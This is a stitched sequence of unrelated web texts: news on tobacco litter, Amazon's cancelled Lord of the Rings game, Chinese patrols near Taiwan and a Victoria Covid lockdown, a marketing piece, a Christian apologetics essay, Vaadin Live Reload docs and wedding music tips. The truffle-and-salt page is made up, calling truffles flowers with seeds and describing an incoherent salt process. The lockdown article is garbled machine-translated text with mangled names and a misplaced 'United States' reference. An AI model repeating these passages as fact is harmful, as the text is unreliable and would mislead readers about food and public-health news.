Tobacco products are the most littered item on the planet, Krech said, adding they contain over 7,000 toxic chemicals "which leech into our environment when discarded."
Krech said the cost of cleaning up discarded tobacco items almost always falls on taxpayers and called on the tobacco industry to do more. Germany pays around $200 million (€186 million) to clean up tobacco waste.
The report called on policymakers to consider banning cigarette filters because of their harmful impact on the environment.
The WHO also calls attention to the plight of tobacco farmers exposed to harmful emissions throughout the course of their work and life. Krech said some farmers were poisoned by the nicotine they absorbed through their skin.
It is important, Krech said, that "the industry pay actually for the mess that they are creating."
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Maybe it's time for Amazon to take the 'L' on trying to build a thriving video game business before more jobs are affected?
The latest misstep for Amazon's stumbling efforts to build and release its own video games is also a story about The Lord of the Rings. In 2019, the company announced plans "to develop and publish a free-to-play massively multiplayer online (MMO) game" — think World of Warcraft — based on author J.R.R. Tolkien's beloved fantasy series.
Now, almost two years later and with nary a trailer, screenshot, or fact sheet released about the game, that project is canceled. Amazon confirmed as much in a report from Bloomberg's Jason Schreier, who first heard the news from anonymous sources.
The report notes that the game, which was being built under a co-development partnership between Amazon Game Studios and Leyou Technologies Holdings Ltd. The latter studio, a China-based company, was acquired by Tencent back in December. And in the course of the contract negotiations around that acquisition, a dispute between Amazon and Tencent led to the Lord of the Rings cancellation.
Maybe it's time for Amazon to take the 'L' on video games.
An Amazon spokesperson told Bloomberg that "we have been unable to secure terms to proceed with this title at this time." It doesn't sound like there will be layoffs, but Amazon does plan to put the Lord of the Rings team on other projects, effectively flushing their two years of work so far down the drain.
While it's a tough outcome for fans, certainly, the game's cancellation is more importantly another strike against Amazon's game-making aspirations. The company does own Twitch, which hinges much of its success on popular gaming streams, and it's also developing a cloud gaming service to rival Google's Stadia, in Luna.
When it comes to actual games, though, Amazon has continually struggled. There was Crucible, the free-to-play online shooter that was conceived to compete with the likes of Overwatch. In an unprecedented-for-the-industry string of events, the game released in May 2020 and then went back into closed beta testing just two months later, in July 2020. Then, in October, Amazon just up and canceled the project. It had reportedly been in development since 2014.
The whole incident felt like an echo of a similar cancellation from a couple years prior, when Amazon pulled the plug in 2018 on Breakaway, a multiplayer game that was described as a "mythological sport brawler." It was announced in 2016 and ready enough at that point to be something people could play.
Both of these games, with their colorful presentation, online focus, and hero-driven makeup, seemed implicitly designed to make Amazon's gaming endeavors a presence in the esports scene. Probably due in part to the Twitch connection and the popularity of streaming gameplay. Though let's be clear: Competitive online games are generally popular, and shooters like Overwatch or Call of Duty are among the biggest. Crucible in particular seemed intended to slide right into that category based on the Amazon link, and the support such a link promised, on its own.
These projects could have worked with a more concrete creative foundation holding them up. But the way they were both trotted out, it's hard not to look at the two titles as concepts that were pitched as a business plan first and a creative endeavor second. They both arrived looking an awful lot like esports projects, but the experiences they offered weren't quite there.
It's a similar situation with New World, perhaps Amazon's most promising game project at this point. It was first pitched as an MMO in which players, looking like 17th century European explorers, colonized an untamed land in a riff on early America. And while the game's setting is fictional and fantastical, with players facing off against monsters instead of displacing an indigenous population, the tone-deafness in that premise and title raised plenty of questions.
(It's worth noting that New World has undergone some changes since the original reveal, and recent looks have painted a promising picture. That title, though....)
Again and again, though, Amazon has demonstrated more apparent interest in releasing games as a business opportunity than as a creative endeavor. Many successful publishers will tell you that the best and most successful games manage to mix both of those things together in a seemingly effortless way. That's a lesson Amazon still needs to learn.
All of that context now carries us back to this newly canned Lord of the Rings project. We're not clear on the details of the contract dispute that reportedly killed the game, but it's not unreasonable to speculate that Amazon saw it first and foremost as a Lord of the Rings-themed money tree. Tencent has major investments in the gaming industry and lots of experience to go with it, which raises the question of why and how such a seemingly slam-dunk project — The Lord of the Rings Online was already a successful MMO long ago — fell apart, and what role Amazon played given the history.
That history points to a pattern of unforced errors on Amazon's part. From Breakaway to Crucible to the questionable creative choices on New World and now the Tencent break-up, these feel more like rookie mistakes than a string of "couldn't be helped" coincidences.
Maybe the unexpected development of Tencent's Leyou acquisition is to blame for Lord of the Rings. Maybe COVID killed any hope that the developers could bring Crucible together in the end. Maybe New World's tone-deaf introduction will be wiped away by a successful launch. (I've got no explanation for Breakaway; that game's reveal doesn't make a lick of sense to this day.)
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Upping the Ante
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The Chinese military conducted a “combat readiness patrol” around Taiwan’s sea and airspace this week, saying it was “a necessary action” against what it described as “US-Taiwan collusion,” Al Jazeera reported Wednesday.
Taiwanese officials said this week that 30 Chinese planes, mainly fighter jets, entered the southwestern section of its Air Defense Identification Zone (ADIZ). They added that it was the second-largest incursion of Chinese military aircraft since January.
The military drills took place as US Senator Tammy Duckworth was visiting Taiwan.
Chinese Foreign Ministry spokesperson Zhao Lijian explained that Beijing had complained to the US about Duckworth’s visit, adding that such a move sends “wrong signals to the ‘Taiwan independence’ separatist forces.”
China considers Taiwan part of its territory under the “One China” policy, even though both countries have been governed separately since the mid-20th century.
Even so, Zhao emphasized that Beijing will “resolutely safeguard China’s sovereignty and territorial integrity.”
For the United States, Taiwan’s status remains ambiguous but Washington has maintained close relations with Taipei under the Taiwan Relations Act.
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Ursula Mejia-Melgar, the multicultural marketing manager at General Mills, makes that analogy when she describes what the members of her target audience -- Spanish-dominant Latina moms -- experience when they go to the store for the first time in the United States. They move to the U.S. for a better life and look for tools to educate themselves about how to manage their new lives here.
Que Rica Vida, General Mills' Spanish-language website, aims to serve its audience as a trusted friend and resource by providing culturally relevant content that can help moms adjust to their new lives. The site aims to empower Latina moms by providing them with information about raising their children, tending to their illnesses and preventing them, making sure they don't fall behind in school and cooking for their families.
The section on recipes and ingredients provides tips and tools about how to be a better shopper. General Mills works with content partners like Dr. Aliza, who offer health advice on the site. General Mills produces content in Spanish because Spanish-dominant Latina moms have different needs, wants, desires, and family values, and a company's marketing materials ought to reflect that.
Other leading CPG companies have launched extensive content websites in Spanish such as Comida Kraft, P&G's Pampers Village, SC Johnson's Right @ Home, and Unilever's Vive Mejor. Instead of being hard sales pitches, the websites feature helpful, culturally relevant content. Their sites serve as focus groups in real time, using analytics tools to measure what consumers find helpful.
So, what content should your brand develop and how do you test new content ideas for your web sites? What partners do you work with to test ideas first before associating them with your brand online?
Massimo Martinotti, the founder of boutique production agency Mia Films in Miami, often beta-tests niche content ideas on his video blog, Facebook, and Twitter to see what does and doesn't resonate with consumers in online communities. He does this in preparation for developing content ideas for his clients.
For example, he launched a number of talk-show format videos where a host and an expert discuss the "tecnicas del beso," or the techniques of a good kiss. Within months, the community grew to over 30,000 users and today the content has become self-sustaining where users contribute subdued (not risqué) photos and videos of couples kissing. Both women and men participate and the community sure would lend itself to a marketing campaign for a gum product.
Once he develops niche content ideas, he strives to tell synergistic stories for marketers that cannot squeeze into a single medium but rather evolve across multiple platforms in which converging stories can live and grow.
"The user's experience unfolds across as many media as possible and every single platform makes idiosyncratic and distinctive contributions to the story," says Martinotti. "A story will possibly start with a short webisode. However, for users to understand it, they will eventually have to follow the characters of the story on Twitter, join a group on Facebook or Flickr, visit a channel on YouTube or Vimeo, receive or send SMS texts or MMS, participate in a forum or a chat, play a game or an alternate reality game (ARG), attend an event, and so forth."
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Find The Best Places From Where to Buy Truffles And Salt
So what is the truth about truffles? The common misconception is that a single truffle contains just one seed which comes from a specific fungus or animal.
The truth is that they are part of a plant, and in fact they are a kind of flower. It is considered by many to be a delicacy and an art to get hold of one and grow them, and then to harvest the seeds for sale. In fact the seeds are used to make vinegar as well as the final product.
Truffles come from various places in the world and are sometimes grown in secret locations. Most often they are grown in Italy, France, Russia, Turkey, Switzerland, Italy, Greece, Sweden, and New Zealand.
The place from where a truffle originates determines the different sizes and types of truffles. To put it simply, the larger the individual fungus the more valuable the truffle will be. Where ever you get a truffle, you can assume that the process by which they were grown is the same.
The cost is determined by the size and strength of the whole salted truffle, it can be as big as 3lbs and as small as one-sixteenth of an inch, and it is only by knowing this that we can try to obtain the best quality. The first thing to do is to get the salt which will then go into the process of drying it, like any other chocolates. The next step is to put the seeds and other parts of the fungus into a plastic bag and give it to the freezer for a week.
Once the salt has had enough time to absorb all the moisture then it is to be dried out by the help of a fan. This is a delicate process and should be carried out carefully, if you do not want to damage the truffle itself. As soon as the salt has had time to dry out then it is to be sieved and ground to a fine powder. Then it can be mixed with salt and left to dry.
Since so many different countries are involved in the production of these salts worldwide then there are different processes for drying and mixing, and each one has its own characteristics. The powder can be used in making pickles, soups, and even chocolate.
Of course there are a number of specialty firms which produce these salts worldwide, and also they are just as well known in one country as they are in another. They usually have certain experts who know where to find the most rare and valuable ones, and so the products become more sought after.
Most often when you go to buy these products the prices are higher than those which are common, and also they can be quite expensive. However there are specialist shops on which you can buy these, and most often you will find prices that are well within your budget.
If you are trying to buy truffles and salt you should always think of your budget before bidding and also remember that the seller has to get the best price. If you are sure of your capacity to pay for them then you should bid for them, but if you are not sure and feel that you might not get the item, then you should stay away from them.
One last thing to say about these products is that they are very hard to come by, so to get one you have to go to Italy or France, and it will cost you very high. So it is just as well that you know the best place from where to get them and where to buy them, or else you will be disappointed. | <urn:uuid:3ba10126-b274-445b-8a13-3e3e87728ac3> | CC-MAIN-2022-33 | https://sea-salt.org/truffle-and-salt/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573744.90/warc/CC-MAIN-20220819161440-20220819191440-00465.warc.gz | en | 0.984599 | 731 | 1.742188 | 2 |
An extension of Victoria’s “Circuit Breaker” lockdown was confirmed days after the state recorded an increase in Covid-19 infections.
The lockdown was originally scheduled to end at 11:59 pm on June 3, but now the strict limits will be extended for at least 7 days. Herald Sun..
Six newly infected Covid-19 cases were identified overnight, bringing the state cluster to 60.
In 24 hours, more than 51,000 test results were received and more than 20,500 vaccines were given.
This happened after senior government officials met overnight to discuss the state’s next steps. It is understood that this included a debate about whether different restrictions would be introduced in the Victoria region.
The· Herald Sun The Victoria State Government also said it plans to extend the $ 250 million corporate support package as a result of the prolonged blockade.
A minister said Age The infectious nature of the B.1.617 strain found in Victoria is one of the main reasons to consider extending lockdown.
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This strain was first detected in India and has since spread to more than 40 countries. The World Health Organization (WHO) has identified it as a “variant of concern” because it appears to be much more infectious than other strains.
Ministers reportedly had an extension option between the 3rd and 7th, and the final decision was made on Wednesday morning.
WHO adviser Mary-Louise Mcclouds of the University of New South Wales said: From an epidemiological point of view, the Victorian cluster is still expanding and needs an extension of lockdown.
“It’s growing, it’s growing fast, and there’s no sign of slowdown,” she told news.com.au.
“We shouldn’t discuss lifting restrictions yet,” she said.
“I can’t see them lifting the limit for another 7 days. At this time, this cluster shows no signs of termination.”
Victorian companies struggling under the latest restrictions may not be very impressed with the decision to extend the blockade.
Clichy Mouse, general manager of Melbourne’s Chapel Street district, said the economic and social impact of the recent blockade was “monumental.”
“Even just seven days after the lockdown, we had a surprisingly huge financial cost that couldn’t even be covered by government subsidies. The social impact is even more serious and we can’t sleep at night.” She told news.com.au.
“Especially given that the Victoria State Government’s latest trader support package is a joke and is now called the’empty package’, SMEs are about whether to dismiss employees or dispose of inventory. , Again making a miserable decision.
“It’s embarrassingly disproportionate to the disastrous financial losses. For example, many Melbourne restaurants can lose at least $ 40,000 this weekend and receive $ 2,500 to $ 3,500 from the government (” (If you’re lucky). What a company is given is equivalent to scrap bread. “
“Instant transmission” is the cause of the alarm
Victorian officials say people are infected with covid After “brushing” a stranger with a virus.
Laboratory commander Jeroen Weimar said at least four of the cases infected in the state were due to “temporary” contact during the Victorian dynasty.
“What we’re seeing now is people passing each other in small stores, going to exhibition halls, and looking at pictures in Telstra stores,” he said.
“This is relatively temporary, relatively speaking. They don’t know each other’s names, which is very different from what we’ve been doing.
“This is a stranger for transmissions from strangers.”
Relation: “Fastest” virus outbreak in Australia
Weimar states that this is a characteristic of the B.1.617 variant and is “significantly different” from the infections that Victoria is accustomed to, such as at home, at work, or in large social environments.
He said this was the “fastest moving outbreak” that hit Australia.
“This is the biggest epidemic of the year. It’s one of the fastest-growing outbreaks ever seen in Australia. For a long time,” he said.
Now there is more 350 exposure sites throughout VictoriaThousands of close contacts have already been quarantined.
Mystery cases are also a major source of concern for health authorities, and contact tracers struggle to figure out how female staff in their 50s at the elderly care facility Arcare were exposed to the virus. ..
This case was the first mysterious case related to the current epidemic.
“Of course, that’s a serious concern for us, and everyone is focused on trying to identify where it came from and other exposures she might have.” Weimar said.
The woman worked at the facility last Wednesday and Thursday, officials said.
She is believed to have been infectious during this time and was symptomatic on Friday and was immediately tested.
Viruses associated with multiple elderly care facilities
After recording Covid-19 cases or linking staff to confirmed cases, multiple geriatric care facilities were forced to lock down.
Heathmont Mena Rock Life Aging Care Reportedly sent to lockdown yesterday
After the staff member has been identified as the primary contact for the confirmed case.
Age Emails from all staff confirmed the contact and reported that the site went into lockdown just before 6 pm last night.
This follows other closures at the BlueCross Western Gardens Geriatric Care Facility and Arcare Maidstone Geriatric Care Facility in Sunshine.
This happened after the government announced a five-day vaccination blitz for workers in the elderly care and disability sector.
From today to Sunday, employees in these regions will be granted priority access to the Walk-in Vaccination Hub.
New numbers confirmed it Less than 10% of senior care workers in the United States are fully vaccinated. It warned the coronavirus that “life is at stake.”
The Ministry of Health has revealed that only 32,833 elderly care workers have been vaccinated twice.
Over 300,000 Australians work in the elderly care sector. The new figures also confirm that 39,874 elderly care workers secured a single dose.
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APOLOGETICS – Christianity and Other Religions
One of the questions I am sometimes asked is, “What makes you Christians so sure that you are right and all the other religions are wrong?” Accompanying this kind of question are assumptions such as:
- All religions are merely different paths to the same God
- Most religions teach basically the same thing
- Differences between religions are minor
- There is value and truth in every religion
It is important to acknowledge that there are, indeed, noble elements in most religions. There is significant agreement among most religions regarding ethics and morals that society would regard as exemplary; such things as love, forgiveness, honesty, and self-sacrifice. Most religions also uphold and encourage positive societal values such as charity, civic responsibility and the fundamental importance of the family. By choosing to follow a particular religion in preference to the rest, one is not denying these positive elements of most religions.
MAJOR CONTRADICTIONS OF THE WORLD’S RELIGIONS
One cannot ignore, however, the significant theological contradictions that exist between the major religions. Even a cursory comparison of the primary doctrines of the world’s religions reveals how completely antithetical many of their principal beliefs are.
The following table provides a brief comparison of the fundamental beliefs of four of the worlds major religions:
What is most notable is that there is no agreement on any major point of doctrine. When one compares the most fundamental teachings such as the number of gods, the nature of those gods, views of the afterlife and the process of salvation, there is complete disagreement. The world’s largest religions contradict each other at every major point of doctrine. When the full range of each religion’s teachings are studied at depth, these comparative contradictions become even more apparent.
Given the number and extent of these contradictions, it would be naive and foolish to maintain that all religions are equally valid. Quite simply, they cannot possibly all be true, because they contradict each other! In fact, there are only two logical possibilities; either they are all wrong, or only one is right. Sceptics often adopt the former position, arguing that the proliferation of religious contradiction is indicative of the subjective nature of religious beliefs and that, consequently, it is highly improbable that absolute spiritual truth exists. Dismissing all religions on that basis, however, is simply illogical. The fact that religions contradict each other does not preclude one of them being true.
How, then, do we assess the claims of the various religions? Is it possible to determine if one of them is actually true? I want to propose several clear criteria that can be applied in making this kind of assessment; criteria which, I believe, unequivocally establishes the truth of Christianity in contrast to all other religions.
EVIDENCE FOR THE VALIDITY OF CHRISTIANITY
- The Unique Claims Of Divinity By Jesus
- The Unparalleled Miracles Of Jesus
- The Exemplary Moral Character Of Jesus
- The Resurrection Of Jesus
THE UNIQUE CLAIMS OF DIVINITY BY JESUS
There can be no doubt that Jesus consistently claimed to be God. The historical narratives of the gospel writers cite numerous examples of Jesus’ extraordinary claims:
- “I and the Father are one” (John 10:30)
- “Before Abraham was “I AM”.” (John 8:58)
- “Thomas said, “My Lord and my God”. Jesus replied, “… blessed are those who have not seen and yet believe”.” (John 20:28)
Jesus’ use of the term “I am” for himself (in John 8:58) is a reference to the Hebrew name that God used to identify himself to Moses in Exodus 3:14 (אֶהְיֶה – ehyeh). Jesus’ use of this name for himself is an emphatic claim that he is the same God who had spoken to Moses centuries earlier. The full significance of Jesus’ claim in this verse is often lost to English Bible readers, but the Hebrew religious leaders of Jesus’ time knew exactly what he was claiming, as is indicated by their immediate response; “At this, they picked up stones to stone him, but Jesus hid himself, slipping away from the temple grounds.” (John 8:59). In fact, it was Jesus’ repeated claims to be God that eventually led the religious leaders to declare him a heretic and plot his death at the hands of the Romans.
In contrast to this, no other founder of a major world religion claimed to be God. All other religious founders declared themselves to be either seers, prophets or philosophers, but none actually claimed divinity.
Some people may consider these extraordinary claims of Jesus to be grounds for dismissing him as some kind of madman, but before a person dismisses him in this way, the question needs to asked, “Is there any evidence to support such an extraordinary claim?”
THE UNPARALLELED MIRACLES OF JESUS
Even more extraordinary than his claims of divinity, are the miracles of Jesus. The four Gospel writers, Matthew, Mark, Luke and John, record an astounding array of supernatural feats performed by Jesus. Thirty seven miracles are recorded, including:
- Raising three people from the dead; one of whom had been dead for four days
- Healing people who were blind
- Healing quadriplegics and paraplegics
- Walking on water
- Calming storms
- Multiplying food on two occasions so that thousands of people were fed from a very small quantity of bread and fish
Sceptics argue that these miracle accounts in the gospels were invented by his followers, and are either highly embellished or completely mythical. This claim of fabrication, however, does not arise primarily from literary criticism or historical rebuttal, but from a strongly held presupposition that miracles are not possible. Rather than approaching the texts with the same objective, historical and literary appraisal by which other texts are evaluated, sceptics approach these miraculous accounts with a predisposed fierce determination to discredit them.
Essential reading for anyone who is serious about defending their faith!
Evaluating The Historical And Textual Reliability Of The Healing Narratives
The New Testament documents need to be evaluated with the same objectivity as are all other historical documents, employing the same universally accepted criteria for assessing literary reliability. There are seven criteria which are particularly important for assessing the New Testament documents:
1.The criterion of time gap
2.The criterion of dissimilarity
3.The criterion of embarrassment
4.The criterion of multiple attestation
5.The criterion of absence of protestation
6.The criterion of corroboration by hostile critics
7.The criterion of author credibility
These criteria have been dealt with in detail on the page, “APOLOGETICS – The Historicity Of Jesus”. Time and space does not permit a full discussion of each of them at this point, but it is worth briefly discussing three in particular.
The Criterion Of Time Gap
Dr. A.N. Sherwin-White (1911 – 1993), a world renowned Greco-Roman historian and the author of many historical classics, conducted extensive research into the practice of mythological embellishment in ancient writings. He concluded that mythological embellishment requires more than two generations time gap to begin, and major mythological embellishment requires at least 200 years time gap. In other words mythological embellishment can’t gain traction if it is written within the lifespan of the first two generations after an event, because there are too many people still alive who know the facts. Significantly, he concluded that because the Gospel accounts of Jesus were written during the lifetime of first generation eye witnesses, mythological embellishment would have been impossible.
The Criterion Of Absence Of Protestation
This follows on from the Criterion of Time Gap. Mythical embellishment within the lifetime of eyewitnesses would result in overwhelming protestation and refutation. Literally thousands of people witnessed the ministry of Jesus, and many of them were still alive when the four Gospels were written and circulated. If the Gospel writers embellished or fabricated the accounts of Jesus’ miracles, we would find significant protest and rebuttal within concurrent historical texts. But no such rebuttal is found.
Consider a modern example. If someone today published a book claiming that Winston Churchill performed miracles and had supernatural powers, the textual world would be awash with rebuttals! Historians centuries from now would be able to read those rebuttals and conclude that the miraculous claims are, at least, extremely unreliable and unlikely.
The four gospels were written during the lifetime of eye witnesses to the life of Jesus, including those hostile to him. If the gospel writers had embellished their stories with fanciful inaccuracies, their stories would have been denounced and repudiated, and this would be evident in the existence of contradictory, hostile texts. But such texts simply do not exist. Instead of textual rebuttal, there is almost complete silence in the historical record. I say almost, because the few references to Jesus outside of the Bible tend to confirm rather than rebut the gospel accounts. The absence of protestation is a powerful attestation to the truth and historical reliability of the Gospels. People living in first century Palestine simply could not deny the miraculous events of Jesus’ life, because thousands of them had witnessed those events with their own eyes!
The Criterion Of Corroboration By Hostile Critics
The other criterion worth mentioning briefly here, is that of corroboration by hostile critics. Several Roman and Jewish writers refer to Jesus generally: Tacitus, Thallus, Seutonius, Lucian, Flavius, Philegon, Pliny, Mara Bar-Serapion and Flavius Josephus. More importantly, however, there are two references which corroborate his extraordinary miracles.
Flavius Josephus (37-101AD), in his “Antiquities Of The Jews”, writes, “Now there was about this time Jesus, a wise man, if it be lawful to call him a man; for he was a doer of amazing works.” Josephus, a Jew himself, and not a follower of Jesus, is here referring to Jesus’ miracles as if they were a well known fact. Some sceptics maintain that this text must be a later interpolation by a Christian copyist, yet there is no unequivocal historical or textual evidence for this claim. Instead, the desire to discredit this passage appears to be driven by an almost fanatical unwillingness to consider anything of a supernatural nature.
The Jewish Talmud provides a second historical corroboration by hostile critics. The Talmud is the sacred book of oral traditions, which was still being written at the time of Jesus. In Sanhedrin 43A, Jesus is referred to as a “sorcerer” because of his ability to perform wondrous signs. Sevenl other passages in the Talmud refer to Jesus’ ability to perform “magical healing” (Tosefta Hullin 2:22f; Jerusalem Abodah Zarah 2:2/12 ; Jerusalem Shabboth 14:4/13; Qohelet Rabbah 1:8(3); Babylonian Abodah Zarah 27b; Jerusalem Abodah Zarah 2:2/7 ; Jerusalem Shabboth 14:4/8 ).
The corroboration of Jesus’ miraculous powers by hostile critics is incontestable. Those who claim that the Gospel writers fabricated the healing stories are either ignorant of this corroborating evidence or are deliberately ignoring the evidence out of a dogged determination to undermine the Christian faith.
The miracles of Jesus represent an extraordinary display of divine power. If God was to visit our planet physically, one could not imagine any more convincing proofs than those provided by Jesus throughout his ministry. Importantly, the founders of the other major religions did not, at any time, display the same kind of corroborated miraculous powers. There are stories of miraculous events in the lives of Buddha, Muhammad and Confucius, but when they are appraised objectively, and compared to the miracles of Jesus, there are three clear distinctions.
- The legends of miracles by Muhammad, Confucius and Buddha arose many centuries after each of them had died. There is no textual evidence of miracle stories circulating during their lifetimes.
- The supposed miracles tend to be bizarre in nature: Muhammad splitting the moon into two and then reassembling it; Muhammad comforting a palm tree that was “crying” after he stopped leaning on it during one of his sermons; stones and trees speaking aloud to greet Muhammad. It is also claimed that the Buddha could multiply himself into a million beings and then return to a single being; he could travel through space; he could make himself as big as a giant and then as small as an ant; he could walk through mountains; he could dive in and out of the earth; he could travel to Heaven to teach the gods and then return to Earth. These kinds of legends have more in common with fairy stories than verifiable historical events.
- There is a complete lack of corroboration by hostile critics. Unlike Jesus, no objective outsiders at the time of these religious leaders referred to their miracles.
When comparing the corroborated miraculous powers of Jesus to the bizarre and fanciful tales of miracles by other religious leaders, the miracles of Jesus are in an entirely different category, witnessed by thousands and corroborated by critics. They provide us with powerful evidence supporting his claim to be divine, and further develop the case for the uniqueness of Christianity.
Essential reading for anyone who is serious about defending their faith!
THE EXEMPLARY MORAL CHARACTER OF JESUS
Another striking contrast between Christianity and other religions is the exemplary moral character of Jesus. Founders of other religions, despite having moments of lucidity and even profundity, also had less admirable moments. At times they were characterised by impatience, uncertainty, doubts, inconsistency, contradictions, arrogance, unforgiveness, hatred, violence, and even mental illness. Their lives are a mixture of noble and ignoble. One cannot read an objective biographical account of their lives and arrive at any conclusion other than that they were imperfect, mortal humans.
The life of Jesus, on the other hand, radiates a fundamental wholesomeness and goodness that is immediately and consistently apparent. His actions demonstrate moral perfection. His teachings are profound and without contradiction. He stands head and shoulders above all other religious leaders.
THE RESURRECTION OF JESUS
More than any other issue, it is the resurrection of Jesus Christ from the dead that sets him apart from all other religious leaders, and provides the strongest possible evidence for the uniqueness and veracity of Christianity.
Among the evidence supporting the historical reliability of Jesus’ resurrection are:
- The previously stated credibility criteria of the Gospels.
- The absence of a body (which the hostile Jewish leaders failed to find)
- The absence of protestation by opponents.
- The fact that 11 of the Apostles, and many hundreds of other disciples, died for their belief in the resurrection!
- Corroboration by at least one hostile critic
- Modern day sceptics who have tried to disprove the resurrection and who have been converted in the process
In terms of corroboration, we have the remarkable statement by the Jewish scholar, Flavius Josephus: “And when Pilate, at the suggestion of the principal men amongst us, had condemned him to the cross, (9) those that loved him at the first did not forsake him; for he appeared to them alive again the third day; (10) as the divine prophets had foretold these and ten thousand other wonderful things concerning him. And the tribe of Christians, so named from him, are not extinct at this day.” (Antiquities Of The Jews). As previously stated, the attempts by sceptics to discredit this passage are tenuous at best.
In fact, so convincing is the historical evidence for the resurrection that, over the years, several highly respected academics and sceptics have attempted to disprove the resurrection only to be converted in the process.
SKEPTICS WHO HAVE SOUGHT TO DISPROVE THE GOSPELS BUT HAVE BEEN CONVERTED IN THE PROCESS
- Sir William Mitchell Ramsaywas a highly respected archaeologist from Scotland. He set out to prove the historical inaccuracies of Luke and Acts. He spent 15 years researching and digging, only to end up being convinced of the incredible accuracy of the New Testament. He converted to Christianity, and called Luke one of the greatest historians to ever live. He wrote several books on the subject, which have yet to be refuted. His work caused an outcry from atheists because they had been eagerly awaiting his results in disproving the validity of the New Testament, and had even been funding his research!
- Albert Henry Ross was an English journalist and author who set out to disprove the myth of the resurrection. He was planning on writing a paper called “Jesus – The Last Phase”, but he became converted during the course of his investigations. He wrote the classic book, “Who Moved The Stone?” under the pseudonym Frank Morison. The book has led many people to Christ.
- Lee Strobel was a journalist for the Chicago Tribune who set out to disprove Christianity, focusing on the resurrection story. The overwhelming evidence he uncovered led to his conversion, and he went on to write the famous “Case for…” series, which has led many people to Christ.
All religions cannot be equally valid because they contradict each other.
When the major religions are compared, Christianity emerges as unique, primarily because of the person of Jesus. He uniquely claimed to be God. He uniquely performed extraordinary miracles, witnessed by thousands and corroborated by critics. His life is unique in its moral and didactic perfection. And, most significantly, he uniquely rose from the dead to establish his credentials as Lord and Saviour of mankind. Buddha is still in the grave. Confucius is still in the grave. Muhammad is still in the grave. But Jesus is not. He is risen!
In a world of contradictory religions, it is these unique facts that point to Christianity as the truth.
Essential reading for anyone who is serious about defending their faith!
POST SCRIPT REGARDING CHRISTIAN EXCUSIVISM
(This section is an excerpt from the html article on the page, “APOLOGETICS – Pluralism and Post-Modernism”)
One of the great challenges facing Christianity in our post-modern world is that the exclusive claims of Christ have become particularly unpalatable. Society maintains that there is no absolute truth; that all views are valid and no one has the right to claim a monopoly on the truth or to critique another person’s beliefs. In stark contrast to this, Christ stated categorically, “I am the way, the truth and the life. No one comes to the Father except through me.” (John 14:6). There is no “politically correct” way of interpreting Christ’s words here. He is claiming that he is the ONLY way to God and that there are NO OTHER ways to God apart from him.
This exclusive claim of Christ, and, therefore, of his followers, is particularly offensive to our pluralistic modern society. In fact, society voices three distinct criticisms of Christian exclusivism:
- Christian exclusivism is arrogant
- Christian exclusivism is intolerant
- Christian exclusivism denies the worth of other religions
IS CHRISTIAN EXCLUSIVISM ARROGANT?
Firstly, let’s be clear in defining arrogance. Arrogance is believing myself to be better or more superior, and treating others with disdain. Choosing to believe one religion and disbelieve another, however, is not arrogance, it is an act of discernment. I may be right or I may be wrong in that belief, but it is, essentially, an act of discernment. Articulating my exclusivism is not necessarily arrogant either. It may be, of course, depending upon my attitude, but the act of articulating my exclusive belief in Christ is not inherently arrogant. One Christian might articulate their exclusivism rudely and arrogantly, while another might express the same view gently and respectfully. It is the attitude that can be arrogant, not the view itself. In the same way, if I was a Math teacher and a student had written 1 + 1 = 3, I could point out their error either gently and lovingly, or arrogantly. Hopefully, I would do it lovingly. But even if I came across as arrogant, it doesn’t change the fact that 1 + 1 = 2 and not 3. Arrogance is not a particular belief; it is an attitude.
IS CHRISTIAN EXCLUSIVISM INTOLERANT?
Similar to the issue of arrogance, tolerance or intolerance is an attitude; it does not refer to holding one particular viewpoint in preference to others. Intolerance means treating others disrespectfully because they hold a different view to me. Tolerance, on the other hand, means treating people respectfully, despite the fact that they hold very different views from me. It is entirely possible for two people to have diametrically opposed viewpoints, and for each to consider the other completely and utterly wrong, yet speak and act tolerantly towards each other. I express tolerance towards my Buddhist or Muslim neighbours by living in peace and harmony with them, and by treating them with respect, while still maintaining the right to disagree with their beliefs.
DOES CHRISTIAN EXCLUSIVISM DENY THE WORTH OF OTHER RELIGIONS?
Of course not! Most of the world’s major religions have some praiseworthy elements. Many religions uphold the value of the family and the importance of love, peace, charity, civic responsibility and a host of other noble ethics and morals. There is good in almost every religion.
On the other hand, it must be acknowledged that all religions can’t be equally true, because, in terms of their major beliefs, they all contradict each other! If we compare the doctrines of the major religions regarding the concept of God, the afterlife, the process of salvation, and the essential nature of humanity, the world’s religions are in complete disagreement with each other. (See the PowerPoint presentation in the Resources section, below, for more details). If we analyse the vast theological gulf that separates many of these disparate views, we are faced with only two logical possibilities: either all of these religions are wrong, or, at best, one is correct and the rest are wrong. But they can’t all be equally valid, because they contradict each other at every major point of doctrine.
For a person to choose to believe one religion and disbelieve all the others is a far more sensible position to hold than the person who tries to maintain that they are all equally valid. The act of choosing one religion over all the others does not deny the noble elements within other religions, but simply acknowledges the logical impossibility of trying to believe all religions at once.
PowerPoint Presentation: AP8 Responding To Other Religions (.pptx)
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Live Reload means automatically reloading the application in the browser after modifying its code, instead of manually restarting the server and refreshing the browser page.
In Vaadin projects, Live Reload is supported out of the box for frontend code changes, and for Java changes in Spring Boot projects. For the latter, it also integrates with popular third-party Java hotpatching tools.
Code in the application’s
frontend folder (JS/TS/CSS files) is monitored by
webpack-dev-server when running the application in development mode.
Adding, modifying or removing a file in this folder triggers recompilation of the frontend bundle and subsequent a browser reload.
On the Java side, Live Reload means first compiling the modified code, then updating the running server (either by restarting it, or by hotpatching the runtime), and finally refreshing the browser. Live Reload can use Spring Boot Developer Tools automatic server restart feature (enabled by default in Spring Boot-based Vaadin applications), as well as two hotpatching tools: JRebel (commercial, for all Vaadin applications) and HotswapAgent (open-source, for all Vaadin applications). See the below sections for details on setting up the chosen technology:
Note that only one of these technologies should be configured in the project at a time to avoid interference. In general, hotpatching is faster than automatic restarts and works best for small, incremental changes. Larger changes, such as class level modifications or changes to code that affect the whole application lifecycle (startup, shutdown, mapping between frontend and backend components), usually necessitate a server restart regardless.
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Where do you start your wedding music planning? There are so many things to think about and so many choices in wedding music, that it can be a little overwhelming.
In order to find the wedding music that will be right for you, your budget, your theme and the formality of your wedding you have to understand a few things about music: Wedding music has two aspects -- functional and aesthetic.
The functional aspect of wedding music is to fill in the spaces between important events on the wedding such as the actual ceremony, speeches etc. It also helps to set the appropriate mood or feel that you want to create.
For example, in the ceremony, the processional music helps the wedding party keep their steps in time etc. The function of wedding music at the reception for example ranges from relaxing background dinner music to up to date party music to get your guests partying the night away.
